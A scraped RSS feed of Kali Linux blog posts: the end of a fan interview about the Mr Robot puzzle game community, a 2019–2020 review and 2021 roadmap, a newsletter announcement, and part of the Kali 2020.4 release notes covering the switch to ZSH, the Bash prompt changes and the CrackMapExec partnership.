&lt;p>This is like kicking a hornet&amp;rsquo;s nest. I loved the ending. I hated the ending. And then I loved it all over again. Endings are damn near impossible these days. Writing a mystery? Groupthink from Reddit most likely already figured it out 8 episodes ago. Writing an epic adventure? Better not have one of your big bads die with a glass of wine in their hand staring off in the distance. What Sam did in the final season was almost take the onus off the &amp;ldquo;ending&amp;rdquo;. He gave us answers throughout that final season, allowing us to just enjoy the final chapter of the story as best we could knowing it was all coming to an end.&lt;/p>
&lt;p>Something the end of Mr robot captured was spirit. As Elliot&amp;rsquo;s journey was ending, ours was too. Despite all the crazy hacks, storylines and complex problems Elliot got himself into, most of all we all just wanted to see this crazy hacker find peace. I think Sam accomplished that with flying colors.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) How many times have you seen the show now?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Well you&amp;rsquo;re talking to a member of ARGsociety. I think the average member has rewatched each season at least 2 or 3 times. Personally I have seen each season anywhere from 15-20 times. I am a theorizer. A graduate with a PhD from the theory school of LOST. If the show really has meat on the bones, you&amp;rsquo;ll find yourself learning or catching something new each watch.&lt;/p>
&lt;p>Now add in the puzzles. Scanning episodes over and over and over again, scrupulously looking for easter eggs or QR codes. Or looking for that one item Sam placed in the background to be found only upon a rewatch.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Aware of any other easter eggs in the show?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Well, that was the beauty of this show. It demanded we look at, and question, everything. And that&amp;rsquo;s exactly what we did. The line blurred so much it was hard to tell what was an actual easter egg and what wasn&amp;rsquo;t.&lt;/p>
&lt;p>Fun fact, Sam said there&amp;rsquo;s still an easter egg or two to be found from the show. Granted we may have already found whatever he&amp;rsquo;s talking about, or maybe not&amp;hellip; but I think there will always be a mystery or two left to be solved in Mr Robot.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) When did you start to partake in solving the puzzle (WHoIsMrRobot.com)?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>After the CD hack at the end of season 1. Seeing as I wasn&amp;rsquo;t a hacker, I wasn&amp;rsquo;t sure what it was I was actually seeing on screen in terms of interactive ARG material. It took watching Elliot do something as innocuous as the CD hack for me to wonder &amp;ldquo;hey what was that password he used? Am I supposed to figure it out?&amp;rdquo; I jumped on Reddit and found our group, ARGsociety, still in its infancy. Leading me to the infamous wimr (whoismrrobot.com).&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Can you explain what it was like when you solved any part of the challenges?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>If I pretended to answer this like I myself solved any part of the puzzle, our community of thousands would collectively laugh their butt off. I helped when I could, but most of our solves were figured out together. We painstakingly would discuss what and where answers could be found. Fellow leadership would try and explain the fundamentals of different ciphers and how to spot them, in an effort to advance in the game. But this group of puzzle solvers was never satisfied until we beat each season as a whole. We never celebrated (or slept) until every single puzzle was solved and the story for that season&amp;rsquo;s ARG was complete.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) What was your favorite part of the interactive puzzle?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Personally for me, it was the world blending. According to the show we, the audience, were inside the mind of Elliot. The interactive ARG websites helped cement that notion. It felt like we were really living in Elliot&amp;rsquo;s universe with every URL or QR code we would find.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Would you partake in solving another show&amp;rsquo;s interactive puzzle?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>I would in principle. However it would need the perfect blend that Mr Robot provided. There&amp;rsquo;s a fine line between marketing material, simple interactive game, and world blending ARG. Other shows have tried to pass off superfluous marketing material as some kind of makeshift ARG and they&amp;rsquo;d lose me, Carnage, Beam, and Risk off the bat. In fact that kind of laziness in the world building would make me stop watching the show altogether. A few shows can get it half right and really do put time and effort into their ARG&amp;ndash;but there&amp;rsquo;s no world blending. It just feels like you&amp;rsquo;re solving a game that has no bearing on the actual substance of the show you&amp;rsquo;re watching. Mr Robot captured the exact right amount of magic to make their ARG blossom.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) What advice would you give to a TV show/movie producer who is wanting to create an interactive &amp;ldquo;puzzle&amp;rdquo;?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Almost a see above answer here. I would repeat what I heard Sam Esmail say about his ARG: &amp;ldquo;If we&amp;rsquo;re gonna do this&amp;ndash;we do it 100%&amp;rdquo;. Don&amp;rsquo;t half ass it. There is a unique opportunity for show creators and producers by developing an ARG world, one that I think a lot have shied away from.&lt;/p>
&lt;p>On that token, I would also say Esmail could have done even more. To be clear: he gave us this game and we couldn&amp;rsquo;t be more grateful. He melded us into his universe with precision&amp;ndash;he knowingly or unknowingly created a community of die hard fans for life. Ones that were hopping back to Amazon prime to rewatch an episode because they&amp;rsquo;re looking for 2 more digits to an IP address they missed. It doesn&amp;rsquo;t take a genius to know what that can mean for view counts, strategic advertising, and word of mouth. But by the end of the show, we kind of did feel left out in the dust a bit. 1000s of hours were invested into his universe, and I dare say we would all do it again in a heartbeat. But it felt like we were pen pals waiting for a letter that never came. This isn&amp;rsquo;t a slight against Sam or the larger audience as a whole. But there was only one group of a few thousand people walking, talking, sleeping, and breathing Mr Robot&amp;ndash;that was ARGsociety. I know that when I write a TV show, those are the fans I&amp;rsquo;ll be giving back to the most.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) What are you going to do now? After rewatching the show another time that is!&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>I&amp;rsquo;m going to continue to write my ass off until I feel like I somehow know what I am doing. Kind of like how I handled hacking and the ARG for Mr Robot! Then the next step is figuring out how to incorporate an ARG of my own into a show I have cooking up.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) At what stage did you create the community?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>We began as a subreddit. I joined leadership at that stage&amp;ndash;right around the start of 2017. We also had an IRC where we would try and chat in real time but it was never too effective in communication. We hit about 3 or 4 thousand members on the Reddit (most of which active) before we ballooned, prior to season 3. Each seasons&amp;rsquo; ARG came with a prize. And the prize for solving season 2&amp;ndash;was that your name would be put into the show on one of the many hacking screens we see. Some of us were lucky enough to be included in the Mr Robot universe for life&amp;ndash;a prize no one can ever take away. A true honor. So once word of this very interactive prize spread&amp;ndash;our numbers ballooned.&lt;/p>
&lt;p>It was there we decided to move our puzzle solving from the post/reply world of Reddit to the real time organized conversation style of Discord. I&amp;rsquo;m a millennial in my mid 30s. Discord reminded me of the old school AOL chat rooms&amp;ndash;and it felt like the perfect platform to solve ARGs with. As a leader of the community&amp;ndash;I felt the move to discord would not only strengthen our puzzle solving abilities, but also allow the Mr Robot community as a whole, a place to meet and actually get to know one another.&lt;/p>
&lt;p>Both our Reddit and discord have continued to grow beyond the show&amp;rsquo;s end. Between the two we have roughly 10,000 or so members.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Would you say the people here are now good friends, keep in touch, friends for life?&lt;/strong>|&lt;/p>
&lt;blockquote>
&lt;p>I&amp;rsquo;d say that varies with every member in the group, right? Lots of our numbers lurk in the background&amp;ndash;yet keep an active status in the discord server. People come and go with discord servers all the time. Yet in ours, it seems people like to stay. Even some of the ARG team that developed the game itself, have become members of the community.&lt;/p>
&lt;p>Those of us active every day, are friends for life. I don&amp;rsquo;t see anyone going anywhere anytime soon. We have people from all walks of life on that server. I don&amp;rsquo;t travel to other discord servers all too much, but I have to imagine we have one of the most inclusive servers in all of the internet. We have members on every continent, speaking 24 hours a day. Cis, trans, nerds, jocks, hackers, jokesters, drinkers, smokers, midnight tokers.
Not only are we friends, but in this new COVID world we might even be the future.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) We like to give credit where its due. Who helped you?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Hmm, it was largely a group effort. Some key solvers&amp;ndash;and by key I mean, without them, we might still be stuck on those puzzles they solved, even today&amp;hellip; were @obafgkm, @cr4mb0, &lt;a href="https://twitter.com/SteveRipple">@RipVanWinkle&lt;/a>, @PunkAB, and &lt;a href="https://twitter.com/bogie">@Bogie&lt;/a> among others. &lt;a href="https://www.reddit.com/user/willdroid8">@Willvoid&lt;/a> did stellar work keeping the ARG map/timeline updated with every solve we made. Allowing new members easy access to catching up with where we presently were in the game. Every active member had a role in solving the ARG. Even down to those who just reminded us to focus when we were going off the rails. The names are too many to list.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Q.) Anything else you would like to add?&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>I&amp;rsquo;d like to add that we as a community are ready for the next big ARG. The marvelous team at 5th column, and the work done behind the scenes by people we will never know about (but would have liked to), together led to a well deserved EMMY for best ARG in 2020. Frankly no other ARG came close to what the Mr Robot ARG has been year after year. I was glad to see the win come for them.&lt;/p>
&lt;p>We&amp;rsquo;re ready for the future. But we&amp;rsquo;re gonna wait for the next show that deserves us.&lt;/p>
&lt;/blockquote>
&lt;hr>
&lt;p>From everyone on the Kali team, well done ARGSociety! It looks like you guys haven&amp;rsquo;t yet stop, and are hunting to the other Easter eggs still left to be found! If you want to know more, get involved, join their &lt;a href="https://www.reddit.com/r/ARGsociety/">subreddit&lt;/a> and &lt;a href="https://discord.com/invite/2ERCJa2">discord&lt;/a>.&lt;/p>
&lt;p>We will leave you now with a video by &lt;a href="https://twitter.com/dafreqs">@Beamofoldlight&lt;/a> from ARGSociety in his down time put together this of them completing the &lt;a href="https://www.reddit.com/r/ARGsociety/wiki/index">final puzzle&lt;/a>, which really shows just &lt;a href="https://i.redd.it/enyq8z3ma6i51.jpg">how much effort&lt;/a> went into &lt;a href="https://www.reddit.com/r/ARGsociety/wiki/welcome">solving&lt;/a> it &lt;a href="https://cdn.discordapp.com/attachments/581200568983355394/715015582197743636/arg-timeline-s4.pdf">all&lt;/a>. Enjoy.&lt;/p>
&lt;video class="video-shortcode" preload="metadata" controls>
&lt;source src="https://www.kali.org/blog/mr-robot-arg-society/videos/S4.mp4" >
Your browser does not support the video tag.
&lt;/video></description></item><item><title>The last 12 Months (2019/2020) &amp; Looking Forwards (2021)</title><link>https://www.kali.org/blog/2019-2020-review-onwards-with-2021/</link><guid isPermaLink="true">https://www.kali.org/blog/2019-2020-review-onwards-with-2021/</guid><pubDate>Tue, 22 Dec 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/2019-2020-review-onwards-with-2021/images/kali-last-12-months-2020.jpg" type="image/jpg"/><description>&lt;p>As the end of the year is coming up &lt;em>(some may say not quickly enough)&lt;/em>, we want to take a few minutes and recap on our &lt;a href="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/">roadmap 2019/2020 post&lt;/a>.&lt;/p>
&lt;p>At a higher level, the last 12 months of Kali Linux &lt;em>(outside of the normal release items - e.g. packages updates)&lt;/em>, Kali has had various refreshes, switches and additional new features added.&lt;/p>
&lt;p>Looking a little deeper:&lt;/p>
&lt;ul>
&lt;li>There has been a lot of &lt;strong>graphical &amp;amp; visual changes&lt;/strong> (e.g. desktop environments &amp;amp; shells refreshes)&lt;/li>
&lt;li>With a few &amp;ldquo;under-the-hood&amp;rdquo; &lt;strong>core system changes&lt;/strong> (e.g. switching to non-root &amp;amp; default shell)&lt;/li>
&lt;li>With a sprinkle of &lt;strong>end-user experience&lt;/strong> improvements (e.g. new system images &amp;amp; message at login)&lt;/li>
&lt;li>We have also been altering and tweaking the &lt;strong>back end infrastructure&lt;/strong> &lt;em>(just not been talking about it publicly in release notes)&lt;/em>&lt;/li>
&lt;li>We have also introduced various &lt;strong>new features&lt;/strong> (e.g Kali-undercover &amp;amp; Win-KeX)&lt;/li>
&lt;li>Added support for &lt;strong>new platforms&lt;/strong> &amp;amp; improved current ones (e.g. Vagrant, AWS, ARM &amp;amp; NetHunter)&lt;/li>
&lt;li>&lt;em>We understand not everyone has liked the Python 2 tool removal, but it was necessary and did to help &lt;strong>future proof Kali&lt;/strong>. We know this is a painful process, deep change like this always is. But it will only get easier as time goes by and more tools update&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Breaking it down on a per Kali release, the &lt;strong>feature highlights&lt;/strong> from each release:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">Kali 2019.4&lt;/a> (November 2019)&lt;/p>
&lt;ul>
&lt;li>Switching to Xfce for default desktop environment&lt;/li>
&lt;li>Xfce desktop environment refresh&lt;/li>
&lt;li>Git-powered Kali-docs&lt;/li>
&lt;li>Introducing Kali-Undercover + NetHunter-KeX&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://www.kali.org/blog/kali-linux-2020-1-release/">Kali 2020.1&lt;/a> (February 2020)&lt;/p>
&lt;ul>
&lt;li>Switching to non-root user&lt;/li>
&lt;li>Gnome desktop environment refresh&lt;/li>
&lt;li>Switch to single setup image&lt;/li>
&lt;li>Start of removing Python 2 tools&lt;/li>
&lt;li>Introducing NetHunter Rootless edition&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://www.kali.org/blog/kali-linux-2020-2-release/">Kali 2020.2&lt;/a> (May 2020)&lt;/p>
&lt;ul>
&lt;li>KDE Plasma desktop environment refresh&lt;/li>
&lt;li>Introducing LXC / LXD images&lt;/li>
&lt;li>NetHunter improvements to WiFi (in-built monitoring &amp;amp; injection)&lt;/li>
&lt;li>Introducing NetHunter USB Arsenal&lt;/li>
&lt;li>Introducing NetHunter Kernel-Builder&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/">Kali 2020.3&lt;/a> (August 2020)&lt;/p>
&lt;ul>
&lt;li>ZSH shell refresh&lt;/li>
&lt;li>Introducing Win-KeX&lt;/li>
&lt;li>Improving HiDPI support&lt;/li>
&lt;li>Kali icon refresh&lt;/li>
&lt;li>Kali setup improvements&lt;/li>
&lt;li>Introducing NetHunter Bluetooth Arsenal&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/">Kali 2020.4&lt;/a> (November 2020)&lt;/p>
&lt;ul>
&lt;li>Switching to ZSH as default shell&lt;/li>
&lt;li>Bash shell refresh&lt;/li>
&lt;li>Messages at Login&lt;/li>
&lt;li>Kali AWS image refresh&lt;/li>
&lt;li>Support for VMware Vagrant&lt;/li>
&lt;li>Support for Win-KeX on ARM&lt;/li>
&lt;li>Removed Python 2 tools&lt;/li>
&lt;li>NetHunter settings menu (Backup/restore + boot menu)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>It goes without saying, that over the year we have updated countless amount of tools, as well as introduced 120 new ones. We also added more support for ARM &amp;amp; &lt;a href="https://nethunter.kali.org/device-kernels.html">NetHunter devices&lt;/a>. ARM we have a new 3 &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">build scripts&lt;/a> and 1 new &lt;a href="https://www.kali.org/get-kali/#kali-arm">pre-generated images&lt;/a>.
With Kali NetHunter we have:&lt;/p>
&lt;ul>
&lt;li>[13](&lt;a href="https://nethunter.kali.org/device-kernels.html">https://nethunter.kali.org/device-kernels.html&lt;/a> new &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-kernels">devices&lt;/a> (25% more)&lt;/li>
&lt;li>&lt;a href="https://nethunter.kali.org/kernels.html">20&lt;/a> new &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-kernels">kernels&lt;/a> (14% more)&lt;/li>
&lt;li>9 new &lt;a href="https://www.kali.org/get-kali/#kali-mobile">pre-generated images&lt;/a> plus 2 generic images (50% more)&lt;/li>
&lt;/ul>
&lt;p>That&amp;rsquo;s looking back on 2019 &amp;amp; 2020. But what does it look like looking forward to 2021?&lt;/p>
&lt;ul>
&lt;li>2019/2020 was a focus on the interface of Kali. 2021 is going to be more tool focused&lt;/li>
&lt;li>The only thing we didn&amp;rsquo;t manage was to port over kali.org/tools/ to markdown - so that&amp;rsquo;s still on the cards&lt;/li>
&lt;li>Speaking of websites, we are going to be giving our website a face lift&lt;/li>
&lt;li>The release of &amp;ldquo;Kaboxer&amp;rdquo; - a project we have been working on for the last 18 months&lt;/li>
&lt;li>We are hoping to do an online event, aiming for August - more details about that in Kali 2021.2&lt;/li>
&lt;li>Giving a make over to the community support (forums and real time chat)&lt;/li>
&lt;li>Improving the bug tracker&lt;/li>
&lt;/ul>
&lt;p>We hope to get to as many of those items as we can, as well as a few other things that we have up our sleeves. With that all said, see you for Kali 2021.1, which we are planning on &lt;a href="https://www.kali.org/releases/">releasing&lt;/a> a little later next year &lt;em>(currently penciled in for a Tuesday in February 2021)&lt;/em>.&lt;/p></description></item><item><title>Announcing Kali Linux Newsletter + Keeping in Touch</title><link>https://www.kali.org/blog/kali-linux-newsletter-keeping-in-touch/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-newsletter-keeping-in-touch/</guid><pubDate>Mon, 21 Dec 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-newsletter-keeping-in-touch/images/kali-newsletter-1.jpg" type="image/jpg"/><description>&lt;p>Extra! Extra! Read all about it! Today we are announcing the Kali Linux newsletter.&lt;/p>
&lt;p>It&amp;rsquo;s easy to miss certain news. Not everyone is regularly checking our web page to see if something has been posted &lt;em>(and we don&amp;rsquo;t have a regular schedule of when we update)&lt;/em>. It is easy to be drowned out in social networks with everything else going on. And RSS feeds have not been as common as they once were. So to try and help keep you in the loop with Kali Linux, we now have a newsletter option.&lt;/p>
&lt;p>The contents of the newsletter will mirror &lt;a href="https://www.kali.org/blog/">our blog posts&lt;/a> &lt;em>(we are not trying to market or sell anything to you)&lt;/em>. Once a day, if there has been any new posts, we will now send a copy direct to your inbox.&lt;/p>
&lt;p>If you want to, please sign up to the &lt;a href="https://www.kali.org/newsletter/">Kali Linux newsletter&lt;/a>.&lt;/p>
&lt;p>Stay tuned, as we are going to keep working on other ways to improve our communication and community interaction in 2021!&lt;/p>
&lt;hr>
&lt;p>&lt;strong>How can you keep up-to-date with what&amp;rsquo;s going on with Kali Linux?&lt;/strong> Take your pick! There are various different offerings:&lt;/p>
&lt;p>For pure content:&lt;/p>
&lt;ul>
&lt;li>Check &lt;a href="https://www.kali.org/blog/">Kali Linux blog&lt;/a>&lt;/li>
&lt;li>Watch &lt;a href="https://www.kali.org/rss.xml">Kali Linux RSS feed&lt;/a>&lt;/li>
&lt;li>Subscribe to the &lt;a href="https://www.kali.org/newsletter/">Kali Linux newsletter&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>We are on a few social networks too (there will be other infosec related items shared):&lt;/p>
&lt;ul>
&lt;li>Follow &lt;a href="https://twitter.com/kalilinux">Kali Linux Twitter&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>If you are wanting to keep up-to-date with Kali&amp;rsquo;s packages:&lt;/p>
&lt;ul>
&lt;li>You can register at &lt;a href="https://pkg.kali.org/">Kali Linux Package Tracker&lt;/a> and then select which ones you want to be alerted when they update.&lt;/li>
&lt;/ul>
&lt;p>And if you think something is down, which should be working on our end:&lt;/p>
&lt;ul>
&lt;li>You can discover the answer on the &lt;a href="https://status.kali.org/">Kali Linux status page&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Kali Linux 2020.4 Release (ZSH, Bash, CME, MOTD, AWS, Docs, Win-KeX &amp; Vagrant)</title><link>https://www.kali.org/blog/kali-linux-2020-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2020-4-release/</guid><pubDate>Wed, 18 Nov 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2020-4-release/images/kali-2020.4-release.jpg" type="image/jpg"/><description>&lt;p>We find ourselves in the 4th quarter of 2020, and we are ecstatic to announce the release of &lt;strong>Kali Linux 2020.4&lt;/strong>, which is ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a>.&lt;/p>
&lt;p>What&amp;rsquo;s different with this release since &lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/">2020.3 in August 2020&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#zsh-shell-by-default">ZSH is the new default shell&lt;/a>&lt;/strong> - We said it was happening last time, Now it has. ZSH. Is. Now. Default.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#bash-shell-makeover">Bash shell makeover&lt;/a>&lt;/strong> - It may not function like ZSH, but now Bash looks like ZSH.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#partnership-with-tools-authors-byt3bl33d3rs-crackmapexec-cme">Partnership with tools authors&lt;/a>&lt;/strong> - We are teaming up with &lt;a href="https://twitter.com/byt3bl33d3r">byt3bl33d3r&lt;/a>.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#message-at-login">Message at login&lt;/a>&lt;/strong> - Proactively pointing users to resources.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#aws-ec2-cloud-image-refresh">AWS image refresh&lt;/a>&lt;/strong> - Now on GovCloud. Includes Kali&amp;rsquo;s default (command line) tools again. And there is a new URL.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#kali-docs--packaging-guides">Packaging guides&lt;/a>&lt;/strong> - Want to start getting your tool inside of Kali? This should help.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#new-tools--updates">New tools &amp;amp; updates&lt;/a>&lt;/strong> - New Kernel and various new tools and updates for existing ones, as well as setting Proxychains 4 as default.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#kali-nethunter">NetHunter updates&lt;/a>&lt;/strong> - New NetHunter settings menu, select from different boot animations, and persistent Magisk.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#win-kex-25">Win-KeX 2.5&lt;/a>&lt;/strong> - New &amp;ldquo;Enhanced Session Mode&amp;rdquo; brings Win-KeX to ARM devices.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/#kali-vagrant--vmware">Vagrant &amp;amp; VMware&lt;/a>&lt;/strong> - We now support VMware users who use Vagrant.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="zsh-shell-by-default">ZSH Shell By Default&lt;/h2>
&lt;p>In our &lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/">previous quarterly release, 2020.3&lt;/a>, we gave a heads up that we will be &lt;strong>switching from Bash to ZSH as our default shell going forwards&lt;/strong> &lt;em>(where possible)&lt;/em>. We are happy to announce that after testing and feedback from users, the switch &lt;strong>has now happened&lt;/strong>. Say hello to ZSH:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;Hello World. I'm $0&amp;quot;
Hello World. I'm zsh
┌──(kali㉿kali)-[~]
└─$
&lt;/code>&lt;/pre>
&lt;p>Thank you to everyone who provided positive and constructive feedback. We are happy with it, and hope you are too. With that said, we know we cannot please everyone with it &lt;em>(so if you wish to revert back to Bash, please do: &lt;code>chsh -s /bin/bash&lt;/code>)&lt;/em>.&lt;/p>
&lt;p>ZSH will be the default shell on our &lt;a href="https://www.kali.org/docs/installation/">desktop images&lt;/a> (amd64/i386), and &lt;a href="https://www.kali.org/docs/cloud/">cloud&lt;/a>.
For the time being, other platforms (e.g. &lt;a href="https://www.kali.org/docs/arm/">ARM&lt;/a>, &lt;a href="https://www.kali.org/docs/containers/">containers&lt;/a>, &lt;a href="https://www.kali.org/docs/nethunter/">NetHunter&lt;/a>, &lt;a href="https://www.kali.org/docs/wsl/">WSL&lt;/a>/) will still use Bash. We hope to switch more over in later versions.
If you use &lt;code>adduser&lt;/code>, regardless of the platform, it will also default to Bash for the time being &lt;em>(to avoid some edge cases of items breaking)&lt;/em>. In time, this will be changed as well.&lt;/p>
&lt;p>&lt;strong>How do I get it?&lt;/strong> Good question! If you:&lt;/p>
&lt;ul>
&lt;li>Do a fresh install of Kali Linux 2020.4 or later, it will &amp;ldquo;just happen&amp;rdquo; during the setup.&lt;/li>
&lt;li>If you are &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating Kali&lt;/a>, you will need to switch each user to ZSH (e.g. non-root &amp;amp; root since Kali Linux does not use the root account since &lt;a href="https://www.kali.org/blog/kali-linux-2020-1-release/">2020.1&lt;/a>/).&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>I need to switch. How do I?&lt;/strong> This can be done by applying our default &lt;code>zshrc&lt;/code> file. If you are not already using ZSH, you can simply copy it over. If you are, you will need to overwrite (make sure to backup first):&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ [ -e ~/.zshrc ] &amp;amp;&amp;amp; cp -i ~/.zshrc{,.bak}
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.zshrc ~/
kali@kali:~$
kali@kali:~$ chsh -s /bin/zsh
kali@kali:~$
kali@kali:~$ zsh
&lt;/code>&lt;/pre>
&lt;p>&lt;em>If you&amp;rsquo;re reading this, you may also be the type of person who likes Easter eggs - our prompts contain a few! If you go looking you may find a few gems (e.g. &lt;code>new_line_before_prompt&lt;/code> &amp;amp; root vs non-root).&lt;/em>_&lt;/p>
&lt;h2 id="bash-shell-makeover">Bash Shell Makeover&lt;/h2>
&lt;p>Kali Linux now has a universal, cross-shell theme.&lt;/p>
&lt;p>Whilst we were tweaking ZSH, we also updated our Bash prompt (&lt;code>$PS1&lt;/code>), to make it feel similar &lt;em>(but not act similar)&lt;/em> to our ZSH prompt. We started playing with the Bash prompt in &lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/">Kali Linux 2020.3&lt;/a>, when the colors changed for non-root users, from red to blue. Before then, we had not changed it since Kali Linux was &lt;a href="https://www.kali.org/blog/kali-linux-1-0-0-release/">first released&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-4-release/images/bash.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-4-release/images/bash.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>How do I get it?&lt;/strong> Another good question! Very similar answer to ZSH, but this time using &lt;code>.bashrc&lt;/code> instead. If you are doing:&lt;/p>
&lt;ul>
&lt;li>A fresh installation of Kali Linux 2020.4 or later, it&amp;rsquo;s already applied.&lt;/li>
&lt;li>If you are &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating Kali&lt;/a>, you will need to configure each user (e.g. non-root &amp;amp; root/)&lt;/li>
&lt;/ul>
&lt;p>If you have made any alterations to &lt;code>~/.bashrc&lt;/code>, make sure to back it up before replacing it:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ cp -i .bashrc{,.bak}
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.bashrc ~/
kali@kali:~$
kali@kali:~$ source ~/.bashrc
┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;Hello World. I'm $0&amp;quot;
Hello World. I'm bash
┌──(kali㉿kali)-[~]
└─$
&lt;/code>&lt;/pre>
&lt;p>&lt;em>If you look &amp;amp; edit the contents of &lt;code>.bashrc&lt;/code>, you can switch to the red &amp;ldquo;&lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a>&amp;rdquo; prompt to be nostalgic.&lt;/em>&lt;/p>
&lt;h2 id="partnership-with-tools-authors-byt3bl33d3rs-crackmapexec-cme">Partnership with tools authors: byt3bl33d3r&amp;rsquo;s CrackMapExec (CME)&lt;/h2>
&lt;p>Kali Linux is part of the greater community and we want to support tool authors where possible. If you have not heard of &lt;a href="https://pkg.kali.org/pkg/crackmapexec">CrackMapExec (a.k.a CME)&lt;/a>, you may be missing a trick &lt;em>(or three)&lt;/em> when it comes to doing infrastructure assessments (especially involving Active Directory).&lt;/p>
&lt;p>We noticed that &lt;a href="https://twitter.com/byt3bl33d3r/status/1275611300194705409">byt3bl33d3r&lt;/a> made the decision to move to a sponsorware model. You may or may not agree with his decision, but we understand &lt;a href="https://porchetta.industries/2020/11/17/And-Now-For-Something-Completely-Diffrent/">his reasoning&lt;/a>. The tools which he makes are highly valuable and relied upon by many. We want to support him and our Kali Linux users. After various calls and email exchanges, we are delighted to reveal &lt;strong>Kali has partnered with byt3bl33d3r&lt;/strong>.&lt;/p>
&lt;p>&lt;strong>What does this mean for me?&lt;/strong> The Kali package of CME is now pulling from a private source, allowing Kali Linux users to get access to the newest changes in CME &lt;strong>30 days&lt;/strong> before the tool is made public to everyone else. If you don&amp;rsquo;t use Kali, you either need to &lt;a href="https://github.com/sponsors/byt3bl33d3r">sponsor directly&lt;/a> or wait for it to be released after 30 days.&lt;/p>
&lt;p>&lt;strong>Why are you doing this?&lt;/strong> Because we believe in Open-source and the community as a whole. This way, everyone benefits; both authors and users.&lt;/p>
